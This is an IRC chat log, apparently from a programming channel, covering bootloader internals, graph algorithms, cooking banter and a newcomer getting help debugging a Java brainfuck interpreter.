13:18:11 <Sgeo> Who phrases it as 'intellectual property'?
13:19:37 <ion> The kind of people who use a term like “intellectual property”.
13:24:02 <fizzie> That doesn't sound so out-of-place there. Though I'd've expected the abbreviation IP instead.
13:27:46 <Jafet> Intellectual real estate
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13:48:02 <Sgeo> :( http://www.techradar.com/news/software/applications/chrome-rubs-beta-users-the-wrong-way-with-update-1229690
13:49:44 <Sgeo> No option to disable?
13:50:00 <Sgeo> Although I certainly see how even that could be abused by malicious persons, but...
13:56:31 <lambdabot> <hint>:1:1: parse error on input `:'
13:57:03 <Sgeo> I assume that that basically means {k : Nat} -> Fin (S k)
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15:03:44 <Jafet> Hmm, firefox.exe is now spinning because it has hit some kind of address space limit in NT.
15:05:37 <Jafet> "Private bytes: 3 400 164 K"
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17:07:49 <Bike> i love credibility
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18:03:05 <oerjan> y'all realize i'm going to snap and kick idris-ircslave if it keeps requiring lambdabot error messages to operate it, right?
18:06:27 <Melvar> I only brought it here on request of Sgeo, him IIUC understanding this problem. I can remove it anytime if you wish.
18:07:23 <oerjan> it would help if there was at least _some_ way of triggering only your bot. with lambdabot i can use @run instead of >
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18:08:28 <oerjan> with idris being written in haskell i'm surprised the bots haven't been in the same channel before...
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18:13:16 <quintopia> do the lambdabot errors bother you that much?
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18:14:02 <oerjan> _everything_ out of place bothers me that much, quintopia
18:14:58 <oerjan> ah. i may have to rephrase that.
18:15:19 <oerjan> everything out of place that _moves_.
18:16:28 <quintopia> i see. and thus you can avoid having to keep your car immaculate by eschewing privately-owned vehicles and depending upon public transport
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18:17:17 <oerjan> yep. except i don't take much public transport either these days.
18:17:36 <Melvar> oerjan: idris-ircslave has so far only been in #idris, and #idris doesn’t keep a lambdabot.
18:18:34 <oerjan> it is possible i am exaggerating. we'll see.
18:20:14 <oerjan> quintopia: in this suburb, yes. and i rarely get out of it.
18:20:54 <quintopia> i could theoretically walk to work. but rain. and getting work clothes sweaty. :(
18:21:30 <olsner> I could theoretically not walk to work, but it would take more time
18:23:59 <oerjan> int-e: you know, a fuzzy command lookup would be great
18:24:14 <lambdabot> system provides: listchans listmodules listservers list echo uptime
18:24:18 <lambdabot> ##categorytheory ##crypto ##logic ##manatee ##megaharem ##proggit ##villagegreen #agda #arch-haskell #csa_uva #darcs #diagrams #dreamlinux-es #esoteric #fedora-haskell #friendly-coders #functionaljava #gentoo-haskell #gentoo-uy #ghc #happs #haskell #haskell-arcade #haskell-blah #haskell-books #haskell-br #haskell-fr #haskell-freebsd #haskell-game
18:24:18 <lambdabot> #haskell-gsoc #haskell-in-depth #haskell-infrastructure #haskell-lens #haskell-llvm #haskell-overflow #haskell-pl #haskell-soc #haskell.au #haskell.cz #haskell.de #haskell.dut #haskell.es #haskell.fi #haskell.hr #haskell.it #haskell.jp #haskell.no #haskell.ru #haskell.se #haskell.tw #haskell_ru #hscraft-srv #jhc #jtiger #learnanycomputerlanguage #
18:24:18 <lambdabot> learnprogramming #ledger #lesswrong #lw-prog #macosx #macosxdev #mainehackerclub #numerical-haskell #rosettacode #scala #scalaz #scannedinavian #simonsolutions #snapframework #tanuki #unicycling #xmonad #yi
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18:25:00 <oerjan> Melvar: as i thought, #agda is in there. so i thought surely #idris would have been.
18:26:17 <oerjan> I DON'T KNOW WHAT YOU'RE TALKING ABOUT
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18:26:37 <oerjan> there are some interesting channels in there.
18:26:55 <oerjan> as in, not entirely expected.
18:28:28 <olsner> #haskell-infrastructure sounds related to #cslounge-trains, but it's probably not
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18:59:44 <Taneb> Those of you who know more about cooking than me (most of you):
19:00:04 <Taneb> I am going to be making like a large Yorkshire Pudding with mushrooms cooked in
19:00:12 <Taneb> Would I need to fry the mushroom first?
19:03:43 <olsner> based on my research, yorkshire pudding does not contain mushrooms
19:03:45 <Taneb> Well, seeing as mushrooms are edible raw I think I should at least be safe not cooking them
19:03:54 <Taneb> olsner, I am mixing things up
19:03:58 <olsner> (so it's clearly a trick question)
19:04:00 <Taneb> I'm also adding chilli powder
19:04:40 <oerjan> this is clearly not the Queen's yorkshire pudding
19:04:58 <Taneb> oerjan, nothing's been the same in York since the Vikings attacked
19:05:14 <oerjan> i don't think they brought chilli.
19:05:44 <oerjan> they may have brought mushrooms, although i'd suggest not eating those.
19:06:31 <oerjan> also, not all mushrooms are edible raw even if they're edible cooked.
19:06:44 <Taneb> oerjan, I bought these in a supermarket
19:06:51 <Taneb> Like, 10 minutes ago
19:06:55 <oerjan> some need heat treatment to break down poisons, or something.
19:07:47 <Taneb> oerjan, they'll get at least tome heat in the cooking of the Yorkshire batter
19:08:03 <olsner> some also need to be boiled and the water discarded for a few cycles to get the poisons out of the mushrooms
19:08:34 <olsner> you probably shouldn't try to eat things that require so much processing to be safe to eat though
19:08:46 <Taneb> Also advice: do not down a litre of milk. It will make it essentially useless to have bought milk in the first place and you will have to buy more milk.
19:09:25 <Taneb> (this actually happened to me today)
19:09:37 <oerjan> i solve that problem by not buying milk.
19:10:04 <Taneb> But then how do you eat cornflakes
19:10:16 <Taneb> HOW DO YOU EAT WEETOFLAKES
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19:16:58 <Taneb> Also, could I through some tomatoes in the batter too?
19:17:36 <oerjan> no. it is simply not spelt that weigh.
19:18:23 <int-e> oerjan, on the other hand, spells all words correctly.
19:19:01 <int-e> (though honestly, "weight" does not make much sense in that context.)
19:19:40 <int-e> "weigh". I cannot copy words correctly, I should cut&paste.
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22:22:34 <Slereah_> Wouldn't using a register be faster?
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22:25:07 <Bike> Slereah_: is this compiler-generated?
22:25:25 <Slereah_> It is from Kolibri OS, which brags about being "entirely written in x86"
22:29:33 <Slereah_> Ooooh, it uses lodsb followed by stosw
22:29:43 <Slereah_> That's a neat trick to move things in the memory
22:29:58 <Bike> probably some x86 weirdness then
22:30:40 <Slereah_> It's in the bootloader so size might be an issue
22:31:19 <olsner> to load a segment register with a constant the common alternatives are push/pop or something like mov ax,imm; mov cs,ax, I think they are equivalent (not sure which is shorter)
22:31:45 <olsner> because obviously you can't just mov cs,imm
22:32:05 <Slereah_> But aren't memory access usually longer
22:32:29 <olsner> stack instructions are short
22:32:48 <Bike> maybe they don't have free registers to use.
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22:33:04 <olsner> iinm pop es is even single-byte while mov es,ax would be two bytes
22:33:04 <Slereah_> Or maybe it doesn't matter too much
22:33:37 <Slereah_> Bootloaders are limited to 512 bytes, no?
22:34:23 <Slereah_> 2 is for the AA55 thing I suppose, but why 64?
22:35:04 <olsner> for the partition table
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22:35:58 <Slereah_> That's for multiboots, though, no?
22:36:50 <olsner> of course you can put code in the partition table if you don't use it and know that nothing else will try to
22:37:43 <fizzie> It's also only relevant for the MBR of a partitioned device.
22:37:54 <fizzie> Not the boot sector of a floppy, or the boot sector of a particular partition.
22:38:32 <fizzie> CD booting is kind of different.
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22:40:06 <fizzie> In all ways. You have a boot record as a part of the ISO file system, and it can specify the number of blocks to load, for one thing.
22:40:16 <fizzie> (Also there's floppy and hard disk emulation modes.)
22:40:29 <itsy> Just back from the programming games talk in Nottingham :-)
22:41:09 <fizzie> Oh, I'm sure there's some limit. But it's not 512 bytes, I believe.
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22:42:28 <olsner> logical partitions include partition tables in their boot sectors... I guess they might have a boot loader there too (unless the MBR handles booting of logical partitions too)
22:42:44 <olsner> or whatever the name is for the partitions that contain logical partitions
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22:43:38 <fizzie> olsner: "extended partition", I think.
22:43:44 <fizzie> Something like that, anyway.
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22:45:27 <fizzie> There seems to be no particular limit to the sector count in the El-Torito spec (the most standard bootable CD-ROM format), though it's a two-byte field.
22:45:47 <fizzie> You can also specify a different load segment than 7C0.
22:47:10 <fizzie> 64k sectors of 512 bytes, which would be 32 megabytes, far over what fits in the 20-bit address space.
22:48:41 <fizzie> (It's counted in terms of virtual 512-byte sectors, not physical CD sectors which are 2k.)
22:49:39 <Slereah_> What happens to the boot loaded in the RAM by the way?
22:49:40 <Slereah_> Is it deleted after the booting?
22:49:40 <Slereah_> Computers are so full of things~
22:49:47 <Slereah_> You learn something new every day
22:50:03 <olsner> it may or may not be overwritten by something else eventually
22:52:21 <olsner> I believe it's common for OSes to completely ignore anything below 1MB and not use it ever (because sometimes firmware uses that memory for e.g. suspending or resuming)
22:53:24 <Slereah_> I am currently trying to discover where the loading of boot occurs in the code, because that bootloader is way too fucking big
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22:55:39 <fizzie> Re the original thing, "push 0xb800; pop es" does have the side effect of also writing that constant in memory, but it'd have to be p. crafty code to take advantage of that. (The size hypothesis sounds more likely.)
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22:57:47 <Bike> "Euclidean TSP issues are of course metric, but because of problems with floating point accuracy such instances are usually not considered in practice." hehhhhhh
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22:59:02 <Slereah_> There's a Kolibri version from two years ago, let's see if it's a bit more streamlined
23:00:00 <Slereah_> Like perhaps I don't need the russian version of the boot
23:00:51 <Slereah_> Aaaah I like this one more already
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23:03:31 <fizzie> Here's a graph question I was wondering about: if you have a complete graph with weighted edges, does the greedy algorithm of "keep taking the lowest-weight edge that does not form a cycle in the selected edges" result in a minimum-weight spanning tree? It sounds reasonable at a glance.
23:04:05 <olsner> hmm, isn't that one of the standard algorithms?
23:05:22 <fizzie> Now that you mention it, I guess it's just Kruskal?
23:06:16 <olsner> not sure if it goes by "does not form a cycle" though, I remembered something more like pick the minimum-weight edge to any node that isn't connected
23:06:49 <Slereah_> Hm, there is a boot_read_floppy function
23:07:39 <olsner> in the end everything is just repeated matrix multiplication with different operations
23:08:03 <fizzie> olsner: Wikipedia's description says "connects two different trees", with the initialization being a forst of single-vertex trees. That sounds equivalent to "does not form a cycle (in any tree)".
23:08:28 <fizzie> Prim's algorithm is the one that grows a single tree.
23:09:02 <fizzie> (Select any minimum-weight edge that connects the tree to any node not yet in the tree.)
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23:09:59 <Slereah_> It calls the interrupt "Read Sectors From Drive"
23:10:00 <boily> good visible evening!
23:10:11 <fizzie> Borůvka's algorithm, known for having a ů in the name.
23:11:47 <fizzie> That's the usual way. I guess you've heard that BIOS initializes dl to the disk number it loaded the MBR from before jumping to your bootloader?
23:12:38 <Slereah_> Not quite sure what the interrupt does though
23:12:53 <olsner> based on the name maybe it reads sectors from drive?
23:13:00 <Slereah_> Is there a site that describes like all the real mode interrupts?
23:13:11 <fizzie> http://www.ctyme.com/rbrown.htm
23:13:26 <fizzie> It's the Definitive List.
23:13:44 <Slereah_> Damn that's one fancy ass interrupt
23:13:44 <olsner> one of the things you might read from a boot loader is an operating system that you want to boot
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23:13:56 <fizzie> (Thanks to all the really niche things, it can be a bit hard to browse.)
23:15:15 <Slereah_> So it takes a bunch of sectors from the device and puts it in the data buffer?
23:16:03 <fizzie> Well, it's not like there's a unique interrupt called "read sectors from drive"; there's a number of them from different time periods.
23:16:37 <Slereah_> Apparently there's a "Extended Read Sectors From Drive" too
23:16:53 <fizzie> What with disks getting bigger and dropping the CHS addressing and so on.
23:18:07 <Slereah_> Also boot_read_floppy does not seem to be actually used in this file, dagnabbit
23:20:34 <Slereah_> The recent version calls it, though, but apparently fairly late?
23:20:58 <Slereah_> It seems way past the 512 byte limit so I am wondering
23:23:46 <fizzie> Sometimes there's a multi-stage thing where the first 512 bytes uses a really simple loader to load K sectors from a fixed offset on the disk, and then that code has a fancier loader that can actually parse filesystem formats to figure out what to load.
23:24:41 <Slereah_> Or it may just be that there's a lot of whitespace and comments and metastuff
23:25:03 <Slereah_> And knowing is half the battle.
23:26:14 <fizzie> You can ask many assemblers to produce code listings that have offsets, hexdumps of opcodes, and the source code.
23:26:58 <Slereah_> Is there some really nifty assembly IDE?
23:27:12 <Slereah_> Usually they just do syntax highlighting
23:27:17 <fizzie> (Re the concept of "loading data from fixed offsets on the disk", I'll just say "LI" here.)
23:30:03 <fizzie> LILO used to be a popular (the most popular?) boot loader for Linux on x86 before GRUB came along; it had a multi-stage loader like that, and for debugging it printed out the letters "LILO" one at a time at different times of the boot process. If you had moved the data files (or had some CHS/LBA mismatch going on), the most common place for it to get stuck was after priting "LI".
23:33:05 <fizzie> (GRUB, on the other hand, had boot loader stages 1, 2 and because that's not nearly enough, a stage 1.5 in-between.)
23:33:07 <Bike> boot bugs are the worst. i had a whole day of trouble a few weeks back because halfway through boot the usb port with the kernel image suddenly became inaccessible
23:34:03 <Slereah_> Though I guess I don't have to worry too much about that if I use virtualbox
23:34:30 * boily shudders at the thought of virtualbox
23:34:30 <Bike> and i still don't know what causes that ugh
23:35:08 <fizzie> Bike: My computer won't boot if I have the USB memory card reader and the SD card I use in the camera attached. It just hangs.
23:35:27 <Slereah_> I'm not gonna do bootloading on my own computer man
23:35:35 <Slereah_> I don't want to reboot it a million times
23:36:08 <fizzie> Bike: (And I don't mean it's trying to boot from the SD card, it hangs long before that, trying to do... something.)
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23:37:06 <fizzie> I guess it's trying to do some sort of an enumeration of devices and getting confused for some reason.
23:37:11 <Bike> while after that it got to actually booting linux but took whole minutes for each stage. irc help decided my drive was faulty, even though it was new and i couldn't find faults with SMART or anything. i think i hate linux tech support
23:39:23 <fizzie> Bike: Speaking of Linux tech support my DVD drive keeps doing http://sprunge.us/DPHa is that a good sign?
23:39:46 <Bike> uh obviously, it says "succeeded" like nine times
23:40:51 <fizzie> Heh, i seems to have kept walking down the speeds, actually.
23:41:32 <fizzie> http://sprunge.us/ZDOg if at first you don't succeed...
23:44:31 <Bike> configure the shit out of it
23:46:50 <Bike> https://www.iwr.uni-heidelberg.de/groups/comopt/software/TSPLIB95/TSPLOGO.gif nice.
23:57:33 <Phantom__Hoover> man there was this one time when a standard arch update just like renamed grub.cfg to grub.cfg.old and left nothing in its place
23:57:54 <Phantom__Hoover> (the #archlinux response was just 'should've checked the update news you fucking idiot' of course)
00:02:35 <Taneb> `quote punched myself
00:02:36 <HackEgo> 402) <Taneb> Look, I often walk my dog through a field with cows in it. And I punched myself in the face once.
00:02:51 <Taneb> Punching myself in the face is proving to be addictive help
00:03:04 <Bike> have you tried turning it off and on again
00:03:33 -!- Sgeo has joined.
00:04:31 <boily> Tanelle. with which hand do you punch yourself in the face with?
00:06:46 <Sgeo> Is there any way to do things like 'with' with the bot?
00:06:58 <Sgeo> I imagine I can only do lambdas, are those more limited in Idris than Haskell?
00:08:12 <Sgeo> Ok, so oerjan is getting annoyed
00:08:38 <Sgeo> I have a prgmr that I might be able to run the bot on
00:08:51 <Sgeo> Melvar: is there any risk of someone taking over my system if I blindly run the bot?
00:15:37 <Melvar> Sgeo: Taking over, not so likely. Denial-of-service is a real possibility. You should put resource limits on it, particularly memory. On the other hand, I will make no guarantees that there are no bugs exploitable for arbitrary code execution or the like, I merely find it unlikely enough to run the bot myself.
00:16:01 <Sgeo> I don't know how to do resource limits :/
00:16:10 <Sgeo> Or.. much, really
00:16:10 <Melvar> On the other hand, “blindly” is hard: You need to have sandbox working anyway.
00:16:23 <Sgeo> I haven't even touched my prgmr instance since I bought it
00:22:08 <Taneb> boily, I used my right hand
00:22:52 <Sgeo> Melvar: any idea why choose : (b : Bool) -> Either (so b) (so (not b)) instead of choose : (b : Bool) -> Either (so (not b)) (so b)?
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00:33:03 <boily> time for my weekly endoubting session.
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00:39:24 <Sgeo> Crud, I don't know my own password
00:40:36 <Taneb> Sgeo, is it "password1"
00:40:56 <Taneb> How about "sgeoiscool"
00:41:30 <Sgeo> How about I don't know where I put my private key
00:42:15 <Sgeo> How can I check if a private key I have is the one for a public key?
00:43:20 <Sgeo> At least, I'm in as my normal use
00:43:32 <Sgeo> I don't know if I'll be able to access console ever
00:44:53 <Sgeo> Melvar: should I use cabal version of Idris?
00:47:34 <Melvar> Sgeo: I do so, anyway.
00:51:24 <Sgeo> Anything in particular I need to install to get the bot working?
00:55:17 <Sgeo> I don't understand how you have it on multiple channels
00:55:22 <Sgeo> The channel looks hardcoded
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01:29:40 * Sgeo decides that if he gets the bot working, he will use prefix <
01:33:42 <monotone> <Sgeo> How can I check if a private key I have is the one for a public key? // For SSH?
01:34:17 <monotone> You can use `ssh-keygen -y` to regenerate the public key from the private key and diff the two.
01:38:02 <Melvar> Sgeo: You need sandbox, so install selinux-policy-sandbox I think, and it’s a list of channels that’s hardcoded, and I haven’t pushed a version with #esoteric in it.
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02:25:29 <lambdabot> <hint>:1:1: parse error on input `:'
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02:58:17 <SailorR> I kind of want to write a brainfuck interpreter but I dont know where to begin
02:58:24 <SailorR> I know nothing of interpreters
02:58:34 <SailorR> itd probably be really crappy if I tried
02:58:36 <Bike> it's pretty easy.
02:58:47 <Bike> just have a loop that looks at one character at a time and does something depending on what the character is.
02:59:22 <SailorR> should I represent the 30 000 character bytestring as an array list of 0 bytes?
02:59:43 <Bike> whatever you want
03:00:15 <SailorR> I looked at some peoples code and they had parsing engines and stuff
03:00:24 <SailorR> and it looked really weird
03:00:26 <Bike> for brainfuck?
03:00:36 <Bike> not really necessary
03:01:45 <SailorR> http://www.cs.princeton.edu/~ynaamad/misc/bf.htm
03:02:28 <Bike> that's not really a good example...
03:03:21 <SailorR> I cant find a 'good' example anywhere though
03:03:24 <SailorR> all the code is obfuscated
03:03:43 <Bike> that's because a brainfuck interpreter is like ten lines of code.
03:05:44 <SailorR> maybe I should read about interpreters first
03:05:56 <Bike> you're probably overthinking this.
03:05:59 <Bike> it's really, really simple.
03:06:34 <SailorR> why is it so complicated for other programing langauges then?
03:06:38 <SailorR> just to do a really basic one
03:06:50 <Bike> because most programming languages are more complicated than brainfuck.
03:07:06 <Bike> most languages have more complicated loops and I/O than brainfuck.
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03:11:21 <newsham_> write an rpn interpretter. come back in 3min when you're done.
03:12:05 <SailorR> what if I wrote a brainfuck compiler instead?
03:12:12 <Bike> that's even easier.
03:25:00 <SailorR> im not even sure I really get teh difference
03:27:21 <SailorR> compiler doesnt execute just translates ?
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03:32:28 <Bike> translates, yes.
03:32:36 <Bike> brainfuck doesn't have types really.
03:33:55 <zzo38> A valid brainfuck program just has to have balanced []
03:34:18 <SailorR> zzo38: would it be okay to check that as the interpreter level
03:34:22 <SailorR> or is that a compiler thing
03:34:32 <SailorR> maybe I should have a seprate file that checks
03:34:49 <SailorR> and another one that interprets / executes?
03:35:30 <zzo38> SailorR: If a compiler is used, probably the compiler would check (otherwise you cannot really compile it properly). However, it can be done with only an interpreter, too.
03:36:36 <SailorR> the JVM is an interpreter right?
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03:57:51 <zzo38> I read on Wikipedia about "Advanced Chess" playing. It is involving a person who is using a computer to help to figure out what moves he should play. Players are given identical computers, but to improve, it should be specified something like: Identical computers are provided, with keyboard, mouse, printer, DVD-ROM, and serial port. Serial port is connected to a third smaller computer with the chess board placed on top and which displays time cont
03:59:01 <zzo38> No software is provided other than the BIOS; any other software can be loaded into RAM by the user, before the game starts. No hard drive is included. You can bring only one DVD, presumably containing the software.
03:59:09 <zzo38> I think this is a better way?
04:00:04 <Bike> what are you a nerd
04:17:27 <Sgeo> Why not just seal up the computer and preload the software?
04:19:59 <pikhq> Because each given person brings their own computer software.
04:43:56 <zzo38> I think it would be better to bring your own software but have the hardware to be fixed, that is set by the tournament only.
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05:22:55 <^v> is brainfuck a good compression algorithm?
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05:26:11 <lifthrasiir> possibly after LZ77, but it is already a generic compression algorithm.
05:28:21 <^v> was thinking i could have a 4 bit sequence after every +/- bits to have length
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05:31:10 <^v> oh thats run length encoding >_>
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05:48:53 <zzo38> I have thought to use Huffman coding that depends on what the previous command is, and combine it with run-length
05:49:43 <zzo38> So that "impossible" commands, as well as worthless commands such as +- -+ ][ <> >< cannot be encoded.
05:52:14 <zzo38> It would compress a brainfuck program better than the other codes at least, but still not best way.
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06:16:30 <SailorR> I really dont understand brainfuck loops
06:16:39 <SailorR> in pseudocode how to implement [ ]
06:17:40 <lifthrasiir> there are many strategies for implementing loops, which really depend on your implementation
06:18:05 <lifthrasiir> at least you need either a recursive function or a stack, or something more obscure
06:18:29 <SailorR> ok I figured it was recursion maybe
06:18:46 <SailorR> I check if the dataPointer is == 0 , if it is then I execute the right bracket?
06:18:59 <SailorR> I call my function recrusively ?
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06:20:47 <lifthrasiir> whenever hit [, check if the current cell is 0, if it's 0, jump to the next matching ] (that does not involve recursion but some counting), if it's not 0, save the current position (of [) and call itself.
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06:21:22 <lifthrasiir> whenever hit ], this means either i) an unbalanced loop ([[]]]] etc.) or ii) that the function is called inside some loop and the loop body is about to end
06:22:33 <lifthrasiir> so a good strategy is to simply return on ], and the caller (which might be itself, in the [ case) should check the current cell again to decide whether to jump to the saved position (if it's not 0) or keep going (if it's 0).
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06:23:37 <lifthrasiir> if the function returns and the next code pointer points to ], then it is an unbalanced loop and should err.
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06:43:04 <SailorR> if someone wrote a GUI for brainfuck
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07:20:32 <fizzie> If that means a brainfuck IDE, there are several.
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07:31:40 <ion> http://www.theonion.com/articles/francis-ford-coppola-reveals-every-godfather-film,35423/
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07:46:07 <oerjan> <Bike> "Euclidean TSP issues are of course metric, but because of problems with floating point accuracy such instances are usually not considered in practice." hehhhhhh <-- i vaguely recall from back when i read the gödel's letter blog that these precision issues are bad enough that it's not completely known whether euclidean TSP is NP-hard when you give the cities by (x,y) coordinates instead of distances.
07:46:37 <oerjan> or hm maybe its' not completely known whether it's in NP.
08:06:07 <oerjan> that wasn't floating point, but arbitrary precision, though
08:11:02 <oerjan> iirc the problem is that if two complicated expressions with square roots in them are very close, then it's not known a polynomial algorithm to check which is larger.
08:23:42 <oerjan> <Bike> not really necessary <-- if you don't do parsing then you end up with that "scan across the code every time you move across a loop" thing
08:24:05 <oerjan> which works, but sheesh
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08:25:57 <oerjan> ais523: so, are you chaotic evil today?
08:26:36 <ais523> I'm actually relatively lawful good most of the time
08:27:01 <ais523> at first I wasn't sure whether I was lawful, then I noticed that pretty much the entire world seemed highly chaotic
08:27:09 <ais523> so my measuring stick was probably in the wrong place
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08:59:18 <SailorR> anyone know what I could be doing wrong with my brainfuck interpreter?
08:59:37 <SailorR> I tried to put print statements inside the switch statement where the problem is
08:59:49 <SailorR> it compiles and runs but doesnt do what its supposed to
09:00:29 <SailorR> and I'm running the brainfuck helloworld program in a file called file.txt
09:09:30 <oerjan> what's a program that breaks?
09:10:17 <SailorR> well it doesnt 'break' persae it runs
09:10:26 <SailorR> but doesnt do any kind of interpretation I think the , statement works
09:13:08 <oerjan> wtf ideone makes backspace work like the browser back button
09:13:27 <olsner> but.. that's what backspace should do in a browser
09:13:47 <oerjan> not when i am trying to edit stdin...
09:13:58 <oerjan> i suppose it wasn't actually an editable field.
09:14:11 <SailorR> yea I like pastebin better
09:14:34 <oerjan> SailorR: are you actually using ideone to run this? i see error messages.
09:17:30 <oerjan> SailorR: what does +++++++++++++++++++++++++++++++++. do?
09:18:18 <SailorR> but I guess I wouldnt expect it to
09:18:40 <oerjan> well i'm just trying to see if it's just some commands which break
09:18:54 <SailorR> I'll try to put print statements to see if its actually working
09:21:35 <SailorR> I went System.out.println(new String(tape)); to print out the entire tape
09:23:21 <SailorR> 0001 , 0002, 0003, 0004 , space , 0006
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09:27:44 <oerjan> your [ and ] implementations aren't right btw, but that doesn't explain why everything else breaks
09:31:03 <oerjan> i'd suggest starting with printing the whole c array at the beginning of Brainfuck.code
09:31:13 <oerjan> to see if that's set up right
09:33:45 <SailorR> I printed it each time it enters the while loop
09:34:01 <oerjan> um the c array isn't supposed to change.
09:34:26 <oerjan> i wanted you to check if it's _initialized_ right, and passed into the Brainfuck.code correctly.
09:35:27 <oerjan> so my +++++++++++++++++++++++++++++++++. suggestion didn't do _anything_ at all? it's supposed to print a single "!"
09:36:31 <SailorR> every entry in the c array is 0
09:36:53 <oerjan> well then you have an obvious problem :P
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09:40:40 <SailorR> well I have no fucking idea
09:41:01 <oerjan> and is your brainfuck program in "file.txt" as it seems to me it should?
09:41:41 <SailorR> maybe theres something wrong with the way im reading characters in from that file
09:41:46 <oerjan> ok then i don't think i know java well enough to see what's wrong. one thing you can do is to print all of data in Interpreter before it calls Brainfuck.code
09:42:05 <oerjan> if that's still wrong, then at least we know it's the reading.
09:48:11 <fizzie> INPUT and OUTPUT are flipped in the tokens.
09:48:23 <fizzie> "." is for input, "," is for output; not the other way around.
09:48:37 <fizzie> I mean, should be the other way around.
09:49:12 <oerjan> i'm not sure that will help with the empty c though.
09:49:21 <SailorR> it appears to do something now
09:49:23 <fizzie> It wasn't empty for me, FWIW.
09:49:46 <oerjan> so try +++++++++++++++++++++++++++++++++. again?
09:50:35 <fizzie> There's an obvious never-terminates issue there, at least. (It's not possible for "code" to return, because of the while (true).
09:50:45 <SailorR> gives an array out of bounds exception lol wtf
09:51:08 <fizzie> That would happen if charpointer >= c.length.
09:51:39 <fizzie> Also Token.OUTPUT does not increment charpointer in the pasted code.
09:52:28 <oerjan> that would make it print unending !'s, though...
09:52:56 <fizzie> Fixing all the mistakes I've noticed so far makes oerjan's +++++++++++++++++++++++++++++++++. program output a single ! and terminate.
09:53:13 <fizzie> ^bf +++++++++++++++++++++++++++++++++.
09:53:31 <oerjan> actually, how does it terminate? or was that one of the things you fixed.
09:54:03 <fizzie> oerjan: I made it a while (charpointer < c.length) instead of while (true). (And added a default: charpointer++; case to skip past the uninitialized entries of c.)
09:54:10 <oerjan> SailorR: i think you should have a Token.EOF = 0 to detect program end
09:56:05 <oerjan> ok then i suspect programs without [] should start working
09:56:17 <SailorR> whats the default charpoint ++ case?
09:56:44 <oerjan> SailorR: same as Token.EOF, really
09:57:08 <oerjan> but having a token means you can quit immediately instead of looping across the rest
09:57:47 <oerjan> well you also need a default to implement comments properly (i.e. ignoring non-commands)
09:57:49 <fizzie> A default case (in addition to an EOF marker) would still be in keeping with the accepted brainfuck convention of ignoring all non-command characters.
09:59:33 <oerjan> once you've got +++++++++++++++++++++++++++++++++. working, you can try ,.+>,-.<. to get a test of all the non-loop commands.
09:59:50 <fizzie> (Ignoring all non-commands already when reading might be a better idea, anyway.)
09:59:58 <SailorR> im trying to fix the part where im reading char into the arra
10:00:04 <SailorR> so I can automate test cases
10:00:53 <fizzie> Whoops, I'll have to go hold an exercise session now.
10:01:56 <ais523> http://amirunningxp.com/
10:03:45 <ais523> check appears to be server-side
10:03:48 <ais523> which make sense, really
10:04:02 <ais523> I wonder if I can make it think that I am actually running Windows XP
10:04:04 <myname> wait, someone is writing a bf interpreter in java?
10:05:06 <ais523> you can write a BF interp in pretty much anything
10:05:42 <SailorR> wtf why isnt this reading my char into an array
10:05:42 <myname> but i don't see any advantage of doing so in java
10:06:01 <oerjan> SailorR: fizzie said the program reading was working for him...
10:06:57 <oerjan> myname: because it's what he knows?
10:07:04 <oerjan> you have to start somewhere.
10:07:18 <ais523> just changing my user agent was enough
10:07:38 <oerjan> ais523: how unlawful of you.
10:07:46 * oerjan probably should stop now.
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10:27:32 <SailorR> oergan thx for all your help btw
10:27:41 <SailorR> the nonloop programs work now
10:27:48 <SailorR> just gotta figure out whats wrong with my loop :p
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11:21:12 <fizzie> oerjan: I think I'm officially called an "assistant" of some sort.
11:22:10 <fizzie> oerjan: Or come to think of it, I'm probably not officially called anything, because the course is for the old deparment our research group moved away from. In fact, I'm not entirely sure I should even be doing this.
11:22:44 <boily> good uncertain morning!
11:23:25 <oerjan> fizzie: happy to help!
11:23:58 <oerjan> boily: should we avoid checking if you're alive or dead?
11:24:11 <fizzie> In other news (they're not other news), offering 0.5 exam points (out of probably 36 or so) for attendance of the (weekly) exercise sessions sure gets people to come.
11:24:23 <fizzie> There's been like 80% attendance for all five sessions so far.
11:24:52 <fizzie> I'm not sure anyone's actually learning anything, but I guess they're... paying attention? Occasionally, anyway.
11:25:34 <oerjan> i was an assistant once, but i never paid attention enough to know if anyone learned anything.
11:25:39 <ais523> fizzie: I've intentionally dropped that sort of mark before now
11:26:28 <ais523> I dropped 5% of the mark on my group Masters' project for not attending a team building exercise, via the usual technique of not signing the insurance forms
11:29:01 <fizzie> That sounds slightly bizarre.
11:29:02 <fizzie> I mean, not the not going to a team building exercise, but getting credit for going.
11:30:05 <oerjan> ais523: you should have sued them for docking you points for something potentially dangerous hth
11:30:21 <oerjan> (i assume that's why you needed insurance)
11:34:11 <ais523> oerjan: I think all company/school/university group trips have special insurance forms that keep track of who's going, or something
11:34:50 <ais523> but refusing to fill them in is a nice universal way to get out of it
11:42:35 <SailorR> I think I almost have loops working ... http://ideone.com/n8sXxU but Helloworld still gives me nonhuman readable bytes
11:45:28 <fizzie> If you want to do the loops with the (arguably slightly complex) recursive-call-to-code approach, it would probably be best if the ']' case were to return.
11:47:55 <SailorR> my methods void though how would I get it to return?
11:48:06 <SailorR> (sorry if thats a dumb question I just started learning java )
11:48:18 <oerjan> just return without an argument, i think
11:48:20 <SailorR> I guess it doesnt have to be recursion either
11:49:05 <oerjan> however, i think you need datapointer and maybe charpointer to be class variables
11:49:24 <oerjan> otherwise returning will lose your place
11:49:33 <SailorR> yea I considered that ...I was reading about recursion and wondering how the local variables were stored or if they were lost
11:49:39 <fizzie> oerjan: No, it'd return to the place of '[' for the next loop iteration.
11:49:53 <fizzie> oerjan: At least that's the way I assumed for the logic to be intended to work.
11:50:18 <fizzie> oerjan: (Though in that case charpointer shouldn't be incremented in the case of '[' that does call code.)
11:50:27 <oerjan> fizzie: datapointer needs to be. charpointer might be easiest _not_ to.
11:50:35 <fizzie> oerjan: Er, right, that's what I meant.
11:51:19 <oerjan> the next error is that the [ code needs to loop until the tape is zero.
11:51:26 <fizzie> Possibly the most straightforward way is to just have '[' and ']' implemented in a very similar manner, in that both either just move to the next instruction or seek to the matching ']' or '[' depending on tape[datapointer].
11:51:32 <SailorR> should I have a constructor then too? (otherwise I'd be using a static method to initialize the class variables)
11:52:04 <oerjan> SailorR: they can be static variables...
11:52:44 <oerjan> they could also be object variables, if you want
11:52:56 <SailorR> I think id prefer them static
11:54:17 <oerjan> the final error i see, which won't show up for hello world, is that your code to find the matching ] only works if there are no inner nested loops.
11:55:00 <oerjan> (typically with this method one uses a counter to keep track of the nesting level)
11:55:24 <SailorR> this is getting pretty complicated lol
